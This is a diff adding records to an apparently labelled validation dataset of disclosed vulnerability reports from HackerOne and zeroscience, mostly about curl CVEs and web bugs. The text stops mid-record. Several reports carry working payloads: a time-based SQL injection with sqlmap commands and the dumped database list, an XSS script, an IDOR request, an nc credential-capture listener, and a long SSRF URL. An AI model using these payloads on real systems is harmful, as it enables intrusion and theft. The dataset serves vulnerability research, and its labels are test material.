SSRF\n\nHere are some examples of Blind SSRF, which were used as a rebound, to exploit more critical vulnerabilities :\n\n[Here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html) is an example of how to use an SSRF blind, as a rebound, to exploit a critical flaw.\n\nLooking forward to exchanging.\n\nRegards,\nSupr4s", "source": "hackerone", "timestamp": "2023-02-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "c2991877b0da57a6a067", "text": "MiniDVBLinux 5.4 Config Download Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "21b0f7d8908ceb2acd9c", "text": "[Insufficiently Protected Credentials] CVE-2022-27774: Credential leak on redirect\n\n## Summary:\nCurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.\n\n## Steps To Reproduce:\n\n  1. Configure for example Apache2 on `firstsite.tld` to perform redirect with mod_rewrite:\n     ```\n    RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n    RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]\n     ```\n  2. Capture credentials at `secondsite.tld` for example with:\n     ```\n     while true; do echo -e \"220 pocftp\\n331 plz\\n530 bye\" | nc -v -l -p 9999; done\n     ```\n  3. `curl -L --user foo  https://firstsite.tld/redirectpoc`\n  4. The entered password is visible in the fake FTP server:\n```\nListening on 0.0.0.0 9999\nConnection received on somehost someport\nUSER foo\nPASS secretpassword\n```\n\nThere are several issues here:\n1. The credentials are sent to a completely different host than the original host (`firstsite.tld` vs `secondsite.tld`). This is definitely not what the user could expect, considering the documentation says:\n> When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.\n2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.\n\nI believe the credentials should not be sent in this case unless if `--location-trusted` is used.\n\nIt might even be sensible to consider making curl stop sending credentials over downgraded security by default even when `--location-trusted` is used. Maybe there could be some option that could be used to enable such downgrade if the user REALLY wants it.\n\n## Impact\n\nLeak of confidential information (user credentials).", "source": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3ddc709024927196ac4d", "text": "[Cross-site Scripting (XSS) - Generic] xss on reset password page\n\ntarget:https://█████/Default.aspx?TabId=81&ctl=SendPassword&returnurl=%252fUOTSHelpDesk\n\nWhen a user goes on the forget password page and enters a username it is reflected onto the page. An attacker could simply enter a username like <script>alert(1)</script> and it would execute an alert not to mention there is no csrf protection allowing a attacker to possibly chain csrf with this and cause alot of harm.\n\n\nreferences:\nhttps://owncloud.com/security-advisories/reflected-xss-in-login-page-forgot-password-functionallity/\nhttps://hackerone.com/reports/125059\n\n## Impact\n\nan attacker could steal cookies from a user social engineer them or redirect them\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\ngo to https://████/Default.aspx?TabId=81&ctl=SendPassword&returnurl=%252fUOTSHelpDesk\nenter a payload in username field\n\n## Suggested Mitigation/Remediation Actions\nput a character limit and sanitize user input", "source": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "023c252a6b35cbf3fd6b", "text": "[Heap Overflow] CVE-2023-38545: socks5 heap buffer overflow\n\n# Summary:\n\nThe SOCKS5 state machine can be manipulated by a remote attacker to overflow heap memory if four conditions are met:\n\n1. The request is made via socks5h.\n2. The state machine's negotiation buffer is smaller than ~65k.\n3. The SOCKS server's \"hello\" reply is delayed.\n4. The attacker sets a final destination hostname larger than the negotiation\nbuffer.\n\nlibcurl is supposed to disable SOCKS5 remote hostname resolution for hostnames larger than 255 but will not due to a state machine bug.\n\nFor example tor user running libcurl app with follow location that connects to rogue onion server that replies with payload in `Location:` header which causes crash or worse.\n\n# Walkthrough:\n\n`do_SOCKS` initializes local variable `socks5_resolve_local` depending on the `CURLPROXY_` name. There are two relevant names for this state machine:\n\n- `CURLPROXY_SOCKS5` (SOCKS5 with local resolve of dest host)\n- `CURLPROXY_SOCKS5_HOSTNAME` (SOCKS5 with remote resolve of dest host)\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L573-L574)\n~~~c\n  bool socks5_resolve_local =\n    (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;\n~~~\n\nFor this scenario, `CURLPROXY_SOCKS5_HOSTNAME` is the name and `socks5_resolve_local` is initialized FALSE.\n\nThe `do_SOCKS` state machine is entered for the first time for the connection. `sx->state` is `CONNECT_SOCKS_INIT` (which happens to be the first label). In that state the hostname length is checked and if too long to resolve remotely (>255) then it sets `socks5_resolve_local` to TRUE.\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L588-L593)\n~~~c\n    /* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */\n    if(!socks5_resolve_local && hostname_len > 255) {\n      infof(data, \"SOCKS5: server resolving disabled for hostnames of \"\n            \"length > 255 [actual len=%zu]\", hostname_len);\n      socks5_resolve_local = TRUE;\n    }\n~~~\n\nThe local variable `socks5_resolve_local` is changed but, because this is a state machine, subsequent calls to `do_SOCKS` are in a different state and do not make the same change. ==**This is the bug.**==\n\nFor this scenario, the hostname is longer than 255 characters and `do_SOCKS` is on a subsequent call, which means `socks5_resolve_local` remains FALSE. This can happen by chance or be forced by an attacker.\n\nThe client \"hello\" SOCKS packet contains available methods and is sent to the server. State `CONNECT_SOCKS_READ_INIT` => `CONNECT_SOCKS_READ` is entered to parse the server \"hello\" packet (method selection reply). The server has not yet replied so `do_SOCKS` returns `CURLPX_OK`.\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L640-L662)\n~~~c\nCONNECT_SOCKS_READ_INIT:\n  case CONNECT_SOCKS_READ_INIT:\n    sx->outstanding = 2; /* expect two bytes */\n    sx->outp = socksreq; /* store it here */\n    /* FALLTHROUGH */\n  case CONNECT_SOCKS_READ:\n    presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,\n                               \"initial SOCKS5 response\");\n    if(CURLPX_OK != presult)\n      return presult;\n    else if(sx->outstanding) {\n      /* remain in reading state */\n      return CURLPX_OK;\n    }\n    else if(socksreq[0] != 5) {\n      failf(data, \"Received invalid version in initial SOCKS5 response.\");\n      return CURLPX_BAD_VERSION;\n    }\n    else if(socksreq[1] == 0) {\n      /* DONE! No authentication needed. Send request. */\n      sxstate(sx, data, CONNECT_REQ_INIT);\n      goto CONNECT_REQ_INIT;\n    }\n~~~\n\nOn a subsequent call `do_SOCKS` is in the same state where it's waiting for the initial server reply. If the reply is valid, and in this scenario it is, then the state machine will goto `CONNECT_REQ_INIT` which will goto `CONNECT_RESOLVE_REMOTE` since `socks5_resolve_local` is FALSE.\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L781-L797)\n~~~c\nCONNECT_REQ_INIT:\n  case CONNECT_REQ_INIT:\n    if(socks5_resolve_local) {\n      enum resolve_t rc = Curl_resolv(data, sx->hostname, sx->remote_port", "source": "hackerone", "timestamp": "2023-10-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4f625c6c762abd2f3efd", "text": "[Information Exposure Through an Error Message] internal path disclosure via register error\n\n## Summary:\nHi team,\nwhen we call too many register query, we get  error, in this error we can see internal path and sql query structure\n\n## Steps To Reproduce:\n1. go to register form https://valleyconnect.tva.gov/registration \n2. complete form and click on submit registration, then intercept request with burp\n3. use intruder for call multiple request, we should replace email in every request.\n\n```\nPOST /registration HTTP/2\nHost: valleyconnect.tva.gov\n\nUserName=admin&Password=jgn%25%5EThgf%23rfvHRESdy56tef&ConfirmPassword=jgn%25%5EThgf%23rfvHRESdy56tef&EmailAddress=Z%40jetamooz.com&EmailAddressVerify=Z%40jetamooz.com&FirstName=alex&LastName=jane&Initials=&Suffix=&JobTitle=it&OrganizationType=Business+Partner&OrganizationName=sarv&Country=792&StreetAddress=sary&City=katy&Province=titi&State=AL&ZipCode=&PhoneNumber=%28934%29+734-4364&MobilePhoneNumber=%28957%29+363-4655&TimeZone=America%2FLos_Angeles&CapAnswer=U4YIQ&CapKey=XXTxVOUWZrCz6buVtsgF2cFaPHLSCKVSRQc4z4My13Bee8JiTYVZXmiPd8zLSbMc&BeCheck=\n```\n\nresponse :\n```\n Failed to request registration. Please try again or contact support. Error: Telerik.OpenAccess.Exceptions.OptimisticVerificationException: Row not found: GenericOID@b5128f1e RegistrationRequest base_id=1f499ef7-83fa-4a77-8fd9-693b52c4db9b\nUPDATE [sf_dynamic_content] SET [last_modified] = @p0, [voa_version] = @p1 WHERE [base_id] = @p2 AND [voa_version] = @p3\nBatch Entry 0 (set event logging to all to see parameter data)\n   at Telerik.Sitefinity.Data.TransactionManager.CommitTransaction(String transactionName)\n   at DataAccessLayer.Classes.RegistrationRequestService.AddRegistrationRequest(RegistrationRequestEntry model) in D:\\Agent\\_work\\1825\\s\\Code\\DataAccessLayer\\Classes\\RegistrationRequestService.cs:line 193\n```\n\n## Tips:\nwe should insert fast and continuous for geting error\n\n## Supporting Material/References:\n{F2781135}\n{F2781143}\n\n## Impact\n\nImpact", "source": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "71fe19fbfa9ece04550a", "text": "[SQL Injection] time based SQL injection at [https://███] [HtUS]\n\nHello,\n\n##Summary\n\nwhile doing test on [`www.█████`](http://www.████████/) I’ve found that the endpoint at `/olc/setlogin.php` is vulnerable with SQL injection vulnerability\n\n##Vulnerable parameters \n\n- username\n- password\n\n##POC\n\n- using time based to verify , submit the below request\n\n```jsx\nPOST /olc/setlogin.php HTTP/1.1\nHost: www.██████\nCookie: UsafNoticeConsent=1; PHPSESSID=5r61rj890ogju3dvb5ptup2mn1; session=expiry=1657062712923491\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 74\nOrigin: https://www.██████████\nReferer: https://www.████/olc/sethomepage.html\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n██████████'%2b(select*from(select(sleep(5)))a)%2b'&█████████\n```\n\n- we can see that the response time will be `5`\n\n{██████████]\n\n\n\n- sqlmap run command\n\n```jsx\npython3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent  -u https://█████████ --data=\"████████&██████\" -p username --dbms=mysql \n```\n\n- if you got message `got a 302 redirect to '[https://www.█████:443/olc/sethomepage.html](https://www.████████/olc/sethomepage.html)'. Do you want to follow? [Y/n] n`\n\npress `n` to not follow the redirection \n\n- we can se that our target parameter is vulnerable\n\n```jsx\nPOST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n\nsqlmap identified the following injection point(s) with a total of 586 HTTP(s) requests:\n---\nParameter: username (POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause\n    Payload: username=-1559' OR 4924=4924 OR 'XiUq'='JgnT&██████████\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: █████' AND (SELECT 9612 FROM (SELECT(SLEEP(5)))xSGk) OR 'CPXv'='aouS&██████\n---\n[23:27:33] [WARNING] changes made by tampering scripts are not included in shown payload content(s)\n[23:27:33] [INFO] the back-end DBMS is MySQL\nweb application technology: Apache\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\n[23:27:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/www.█████████'\n\n[*] ending @ 23:27:34 /2022-07-05/\n```\n\n███\n\n- add `--dbs` will back to us with the databases\n\n```jsx\navailable databases [13]:\n[] ███\n[] ██████mobile\n[] GET\n[] information_schema\n[] LEAM\n[] leat\n[] LEV\n[] mysql\n[] performance_schema\n[] SET\n[] test\n[] testadmin\n[*] testusers\n```\n\n## Impact\n\nattacker is able to get the database", "source": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e3354371765b67d0b2d5", "text": "[Business Logic Errors] CVE-2022-32208: FTP-KRB bad message verification\n\nWhen curl does FTP transfers secured by krb5, it handles message verification failures wrongly. This flaw makes it possible for a Man-In-The-Middle attack to go unnoticed and even allows it to inject data to the client.\n\n## Impact\n\nLoss of integrity of FTP-KRB transfers", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "595833d3e482715f0f46", "text": "[Phishing] Address Bar Spoofing on TOR Browser\n\nHi TOR team,\n\nI would like to report a security bug in your browser:\n\nStep 1: Goto http://www.ոokia.com/(http://jsbin.com/wuyikedaxi/1/edit?html,output)\nStep 2: Observe that address bar points to http://www.ոokia.com/ which actually to be pointing to http://xn--okia-zgf.com, however browser displays www.ոokia.com/\n\nActual results:\n\nAddress bar points to a spoofed domain http://www.ոokia.com/. Address bar fails to parse character \"ո\"(U+0578 Armenian Small Letter). Several other characters from Armenian family lead to the same effect. \n\nExpected results:\n\nTORbrowser should have resolved the domain to real http://xn--okia-zgf.com.  On chrome, internet explorer and firefox it resolves to xn--okia-zgf.com.", "source": "hackerone", "timestamp": "2023-01-02", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8e54e3d0e7bafbb20759", "text": "[Double Free] CVE-2022-28738: Double free in Regexp compilation\n\nDue to a bug in the Regexp compilation process, creating a Regexp object with a crafted source string could cause the same memory to be freed twice. This is known as a “double free” vulnerability. Note that, in general, it is considered unsafe to create and use a Regexp object generated from untrusted input. In this case, however, following a comprehensive assessment, we treat this issue as a vulnerability.\n\npoc:\n```\nruby -e '/(\\\\x15\\\\x17\\\\xE2\\\\xF5\\\\xF5\\\\xF5\\\\xC2\\\\x04\\\\x08J,\\\\x00\\\\xD0\\\\x00\\\\x00(?(1)\\\\xF5\\\\xF5\\\\xF5\\\\xD7\\\\xF5\\\\xF5\\\\xF5\\\\x87\\\\x04\\\\xFA555\\\\xBEJ,\\\\x18FF\\\\x15\\\\xFF|\\\\x03\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\x8F\\r|)44\\\\x00\\\\x8F\\r|)+/m'\n```\n\n## Impact\n\nmay lead to a RCE attack cooperate with marshal.load", "source": "hackerone", "timestamp": "2022-05-28", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "601508100ab8c578ec36", "text": "[Insecure Direct Object Reference (IDOR)] Insecure Direct Object Reference (IDOR) - Delete Campaigns\n\n**Summary:**\nHi Team, \n\nI think I can delete any Campaigns based on campaign_id\n\n\n### Steps To Reproduce\n\nFollow the POST request below\n\n````\nPOST /graphql HTTP/2\nHost: hackerone.com\nCookie: yourcookie\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://hackerone.com/organizations/opensea_demo/campaigns/242/edit\nContent-Type: application/json\nX-Csrf-Token: ███\nX-Product-Area: campaigns\nX-Product-Feature: edit\nX-Datadog-Origin: rum\nX-Datadog-Parent-Id: 9027318766950450042\nX-Datadog-Sampling-Priority: 1\nX-Datadog-Trace-Id: 87799383677632658\nContent-Length: 851\nOrigin: https://hackerone.com\nDnt: 1\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"operationName\":\"UpdateCampaign\",\"variables\":{\"product_area\":\"campaigns\",\"product_feature\":\"edit\",\"input\":{\"campaign_id\":\"Z2lkOi8vaGFja2Vyb25lL0NhbXBhaWduLzI0NA==\",\"team_id\":\"Z2lkOi8vaGFja2Vyb25lL0VuZ2FnZW1lbnRzOjpCdWdCb3VudHlQcm9ncmFtLzU3MzI4\",\"bounty_table_row_id\":\"Z2lkOi8vaGFja2Vyb25lL0JvdW50eVRhYmxlUm93LzEwODM2\",\"start_date\":\"2023-05-05T09:00:00Z\",\"end_date\":\"2023-05-08T05:00:00Z\",\"critical\":3,\"high\":2,\"medium\":1.5,\"low\":1.5,\"structured_scope_ids\":[],\"researchers_information\":\"ccccccccccccccc\"}},\"query\":\"mutation UpdateCampaign($input: UpdateCampaignInput!) {\\n  updateCampaign(input: $input) {\\n    was_successful\\n    errors {\\n      edges {\\n        node {\\n          id\\n          type\\n          field\\n          message\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n\n````\n\nDecode base64 of campaign_id to get **gid://hackerone/Campaign/244**\n\nIncrease or decrease the number after Campaign and re-encode it with base64\n\nAt the campaign_id parameter in the request change it to another program's ongoing campaign_id parameter.\n\nThen send Campaign request of any program to be deleted.\n\n## Impact\n\nCan delete all Campaign on hackerone or any program", "source": "hackerone", "timestamp": "2023-05-03", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "bbf6a31a3888ff391841", "text": "[Server-Side Request Forgery (SSRF)] Host header injection that bypassed protection and allowed accessing multiple subdomains\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty, so be sure to take your time filling out the report!\n\n**Name of Vulnerability:*Host header injection/SSRF\n**Areas affected:** [App/ Website + URL/Location] https://www.urbancompany.com  and it allowed accessing otherwise inaccessible subdomains https://av.urbancompany.com , https://ims.urbancompany.com , https://mesh.urbancompany.com\n**User Details:** [Registered Email and Registered Mobile Number used for the purpose of signing up an account with Urbanclap] N/A\n**Summary:** [add summary of the vulnerability] Ability to access certain subdomains (which should be presumably only for internal/trusted sources ) through host header manipulation.\nto be able to access.\n**Description:** [add more details about this vulnerability]\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue through manual testing only)\n\n  1. Go to any of the three subdomains using any browser and after a while you'll see this:\n\n{F2046658}\n\n\n  2. Using burp and Match and Replace rule:\n\n{F2046655}\n\n 3. Now using burp chromium go to https://www.urbancompany.com , \nand you'll see the following for the Host: mesh.urbancompany.com:\n\n{F2046657}\n\n\nand for Host: av.urbancompany.com:\n\n{F2046651}\n\nand for Host: ims.urbancompany.com:\n\n{F2046654}\n\n\nSome interesting endpoints:\nFor av.urbancompany.com:\n\n{F2046652}\n\n\n{F2046653}\n\n\n\nFor mesh.urbancompany.com, potentially means ability to access user files, but because I don't know any of the files I was unable to confirm if it would ask for some authorization upon request to the existing file:\n\n{F2046659}\n\nThis endpoint looks interesting, but for some reason it doesn't actually initiate any uploading when I tried to upload files with mentioned extension:\n\n{F2046656}\n\n\nAdditional note:\nAll three subdomains resolve to the same ip address, which implies that if you have other subdomains associated with this ip address those subdomains are probably affected by this bypass as well.\n\nThank you for looking into this, and please let me know if you have any questions and/or if you need me to do some more testing, like fuzzing all the found endpoints to determine if there are some interesting bugs there.\n\nSincerely,\n@musashi42\n\n## Supporting Material/References:\nAttached are the screenshots.\n  * List any additional material (e.g. screenshots, logs, etc.)\n\n## Impact\n\nImpact is dependent on whether ability to access the subdomains in question is considered as a bypass and if any of the disclosed information (especially various accessible js files) shouldn't be accessible in this way, in addition if there are more sensitive endpoints that I simply didn't find with my limited wordlists but larger wordlists would find. In addition, there's also a question if more interesting subdomains are associated with the same ip address as the three that I mentioned in the report and if those subdomains are even more interesting for the attacker because this bypass should work on any subdomain that's been associated with the ip address of the three mentioned subdomains.", "source": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "39c3032cbc0ce1f98734", "text": "Tinycontrol LAN Controller v3 (LK3) Remote Credentials Extraction PoC\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2023-09-01", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2fea3ce8f3647a8a28e7", "text": "[External Control of File Name or Path] CVE-2023-38546: cookie injection with none file\n\nWhen `curl_easy_duphandle()` is used to duplicate an easy handle it is possible to inject cookies \ninto that duplicated handle if a file `none` exists in the current working directory.\n\n## PoC / Steps to reproduce:\n1. Open 2 terminals\n1. compile  F2699218\n1. in terminal 1: \n    `nc -l -p 8888 127.0.0.1`\n1. in terminal 2: \n\t* `echo -e \"127.0.0.1\\tTRUE\\t/\\tFALSE\\t0\\tname\\tvalue\" > none`\n\t* `/path/to/poc_cookieinj` \n(`poc_cookieinj` does not have to be in the same directory as the file `none`)\n\n## Supporting Material/References:\n\nThe flaw is in `Curl_cookie_init()`\n```\nif(!inc) {\n    /* we didn't get a struct, create one */\n    c = calloc(1, sizeof(struct CookieInfo));\n    if(!c)\n      return NULL; /* failed to get memory */\n    c->filename = strdup(file?file:\"none\"); /* copy the name just in case */\n    if(!c->filename)\n      goto fail; /* failed to get memory */\n```\n\nand  in `curl_easy_duphandle()` the injection happens\n```\nif(data->cookies) {\n    /* If cookies are enabled in the parent handle, we enable them\n       in the clone as well! */\n    outcurl->cookies = Curl_cookie_init(data,\n                                        data->cookies->filename,\n                                        outcurl->cookies,\n                                        data->set.cookiesession);\n    if(!outcurl->cookies)\n      goto fail;\n  }\n```\n\n## Impact\n\ncookies injection into an http request", "source": "hackerone", "timestamp": "2023-10-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a838b493e3a84167872d", "text": "MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "654804e1ab0b78314b77", "text": "[Stack Overflow] CVE-2022-35260: .netrc parser out-of-bounds access\n\nOriginal Report:https://hackerone.com/reports/1721098\n\n## Impact\n\nIf a malicious user can provide a custom netrc file to an application or otherwise affect its contents, this flaw could be used as denial-of-service.", "source": "hackerone", "timestamp": "2022-12-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3b9f4177655ef562b0b5", "text": "[Unknown] [CVE-2023-27539] Possible Denial of Service Vulnerability in Rack’s header parsing\n\nI made a report and patch at https://hackerone.com/reports/1887373 .\n\nhttps://discuss.rubyonrails.org/t/cve-2023-27539-possible-denial-of-service-vulnerability-in-racks-header-parsing/82466\n\n> There is a denial of service vulnerability in the header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27539.\n\n## Impact\n\n> Carefully crafted input can cause header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse headers using Rack (virtually all Rails applications) are impacted.", "source": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "1f4f9cd558eb601d6fbd", "text": "[Information Disclosure] jira discloser information\n\nThe ticket raising system used by informatica suffers from an informational vulnerability where in an attacker can view certain details about open bugs or project information of informatica. Details include  names and potentially  and ticket names which an unauthorized personnel can view without login that can be very useful to an attacker.\n\nendpoints:\n\nhttps://infajira.informatica.com/secure/QueryComponent!Default.jspa\n\n## Impact\n\nattacker miss use this information", "source": "hackerone", "timestamp": "2022-10-03", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "34abd4d980fa47a5d6bc", "text": "[Use After Free] CVE-2022-43552: HTTP Proxy deny use-after-free\n\nIssue(s) reported by Trail of Bits. This is either one or two issues.\n\n## Summary:\n\n`./src/curl 0 -x0:80 telnet:/[j-u][j-u]//0 -m 01`\n`./src/curl 0 -x0:80 smb:/[j-u][j-u]//0 -m 01`\n\nBoth command line ends up having libcurl access and use already freed heap-memory. For read and write.\n\n## Steps To Reproduce:\n\nSee above, run with valgrind for full report.\n\nI have a local HTTP server on localhost host port 80 that will send back a 502 on the CONNECT requests curl issues to it for these protocols.\n\n## Supporting Material/References:\n\nSee logs.\n\n## Impact\n\nUse after free stuff.", "source": "hackerone", "timestamp": "2022-12-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bdf4e8238a8edaebb2d2", "text": "[Insufficiently Protected Credentials] CVE-2022-27774: Credential leak on redirect\n\n## Summary:\ncurl/libcurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.\n\n## Steps To Reproduce:\n\n  1. Configure for example Apache2 on `firstsite.tld` to perform redirect with mod_rewrite:\n     ```\n    RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n    RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]\n     ```\n  2. Capture credentials at `secondsite.tld` for example with:\n     ```\n     while true; do echo -e \"220 pocftp\\n331 plz\\n530 bye\" | nc -v -l -p 9999; done\n     ```\n  3. `curl -L --user foo  https://firstsite.tld/redirectpoc`\n  4. The entered password is visible in the fake FTP server:\n```\nListening on 0.0.0.0 9999\nConnection received on somehost someport\nUSER foo\nPASS secretpassword\n```\n\nThere are several issues here:\n1. The credentials are sent to a completely different host than the original host (`firstsite.tld` vs `secondsite.tld`). This is definitely not what the user could expect, considering the documentation says:\n> When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.\n2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.\n\nIn addition, TLS SRP user credentials (`CURLOPT_TLSAUTH_USERNAME` and `CURLOPT_TLSAUTH_PASSWORD`) are also leaked on redirects.\n\n## Impact\n\nLeak of confidential information (user credentials).", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "55a573939493b9c29bc2", "text": "[Server-Side Request Forgery (SSRF)] CVE-2021-40438 on cp-eu2.acronis.com\n\nHi team\n\n## Summary\nCVE-2021-40438 on cp-eu2.acronis.com\n\n## Steps To Reproduce\n\n `\nhttps://cp-eu2.acronis.com?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA